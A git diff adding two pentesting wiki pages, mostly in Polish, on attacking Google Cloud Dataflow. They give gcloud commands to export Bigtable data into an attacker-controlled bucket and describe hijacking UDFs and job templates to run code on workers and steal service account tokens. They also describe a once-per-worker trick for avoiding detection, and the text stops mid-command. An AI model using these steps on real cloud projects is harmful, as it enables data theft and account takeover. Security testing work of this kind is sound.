diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md new file mode 100644 index 000000000..cb8cb96c2 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-dataflow-post-exploitation.md @@ -0,0 +1,53 @@ +# GCP - Dataflow Post Exploitation + +{{#include ../../../banners/hacktricks-training.md}} + +## Dataflow + +Aby uzyskać więcej informacji o Dataflow sprawdź: + +{{#ref}} +../gcp-services/gcp-dataflow-enum.md +{{#endref}} + +### Using Dataflow to exfiltrate data from other services + +**Uprawnienia:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs` (over a SA with access to source and sink) + +Mając uprawnienia do tworzenia zadań Dataflow, możesz użyć szablonów GCP Dataflow do eksportu danych z Bigtable, BigQuery, Pub/Sub i innych usług do kontrolowanych przez atakującego bucketów GCS. Jest to potężna technika post-exploitation, gdy uzyskasz dostęp do Dataflow — na przykład poprzez [Dataflow Rider](../gcp-privilege-escalation/gcp-dataflow-privesc.md) privilege escalation (pipeline takeover via bucket write). + +> [!NOTE] +> Potrzebujesz uprawnienia `iam.serviceAccounts.actAs` nad kontem serwisowym z wystarczającymi uprawnieniami do odczytu źródła i zapisu do miejsca docelowego. Domyślnie, jeśli nie zostanie określone, używane jest domyślne SA Compute Engine. + +#### Bigtable to GCS + +Zobacz [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md#dump-rows-to-your-bucket) — "Dump rows to your bucket" aby zobaczyć pełny wzorzec. Szablony: `Cloud_Bigtable_to_GCS_Json`, `Cloud_Bigtable_to_GCS_Parquet`, `Cloud_Bigtable_to_GCS_SequenceFile`. + +
+ +Export Bigtable to attacker-controlled bucket +```bash +gcloud dataflow jobs run \ +--gcs-location=gs://dataflow-templates-us-//Cloud_Bigtable_to_GCS_Json \ +--project= \ +--region= \ +--parameters=bigtableProjectId=,bigtableInstanceId=,bigtableTableId=,filenamePrefix=,outputDirectory=gs:///raw-json/ \ +--staging-location=gs:///staging/ +``` +
+ +#### BigQuery do GCS + +Szablony Dataflow umożliwiają eksport danych z BigQuery. Użyj odpowiedniego szablonu dla docelowego formatu (JSON, Avro itp.) i skieruj wyjście do swojego bucketu. + +#### Pub/Sub i źródła strumieniowe + +Potoki strumieniowe mogą czytać z Pub/Sub (lub innych źródeł) i zapisywać do GCS. Uruchom zadanie ze szablonem, który czyta z docelowej subskrypcji Pub/Sub i zapisuje do kontrolowanego przez ciebie bucketu. + +## Źródła + +- [Dataflow templates](https://cloud.google.com/dataflow/docs/guides/templates/provided-templates) +- [Control access with IAM (Dataflow)](https://cloud.google.com/dataflow/docs/concepts/security-and-permissions) +- [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md) + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md new file mode 100644 index 000000000..1f9b7af64 --- /dev/null +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-dataflow-privesc.md @@ -0,0 +1,173 @@ +# GCP - Dataflow Privilege Escalation + +{{#include ../../../banners/hacktricks-training.md}} + +## Dataflow + +{{#ref}} +../gcp-services/gcp-dataflow-enum.md +{{#endref}} + +### `storage.objects.create`, `storage.objects.get`, `storage.objects.update` + +Dataflow nie weryfikuje integralności UDFs i job template YAMLs przechowywanych w GCS. +Mając bucket write access, możesz nadpisać te pliki, aby wstrzyknąć kod, wykonać kod na workers, ukraść service account tokens lub zmienić przetwarzanie danych. +Zarówno batch, jak i streaming pipeline jobs są podatne na ten atak. Aby przeprowadzić ten atak na pipeline, trzeba podmienić UDFs/templates przed uruchomieniem joba, w ciągu pierwszych kilku minut (zanim workers zostaną utworzeni) lub podczas działania joba, zanim nowe workers się uruchomią (z powodu autoscaling). + +**Attack vectors:** +- **UDF hijacking:** Python (`.py`) i JS (`.js`) UDFs referencowane przez pipelines i przechowywane w customer-managed buckets +- **Job template hijacking:** Własne definicje pipeline w YAML przechowywane w customer-managed buckets + + +> [!WARNING] +> **Run-once-per-worker trick:** Dataflow UDFs i template callables są wywoływane **dla każdego wiersza/linijki**. Bez koordynacji exfiltration lub token theft byłyby wykonywane tysiące razy, powodując hałas, rate limiting i wykrycie. Użyj wzorca **file-based coordination**: sprawdź na początku, czy istnieje marker file (np. `/tmp/pwnd.txt`); jeśli istnieje, pomiń złośliwy kod; jeśli nie, uruchom payload i utwórz ten plik. Zapewnia to, że payload uruchomi się **raz na worker**, a nie dla każdej linijki. + + +#### Direct exploitation via gcloud CLI + +1. Enumerate Dataflow jobs and locate the template/UDF GCS paths: + +
+ +Wypisz jobs i użyj describe, aby uzyskać template path, staging location i UDF references +```bash +# List jobs (optionally filter by region) +gcloud dataflow jobs list --region= +gcloud dataflow jobs list --project= + +# Describe a job to get template GCS path, staging location, and any UDF/template references +gcloud dataflow jobs describe --region= --full --format="yaml" +# Look for: currentState, createTime, jobMetadata, type (JOB_TYPE_STREAMING or JOB_TYPE_BATCH) +# Pipeline options often include: tempLocation, stagingLocation, templateLocation, or flexTemplateGcsPath +``` +
+ +2. Pobierz oryginalny plik UDF lub szablon zadania z GCS: + +
+ +Pobierz plik UDF lub szablon YAML z bucketu +```bash +# If job references a UDF at gs://bucket/path/to/udf.py +gcloud storage cp gs:////.py ./udf_original.py + +# Or for a YAML job template +gcloud storage cp gs:////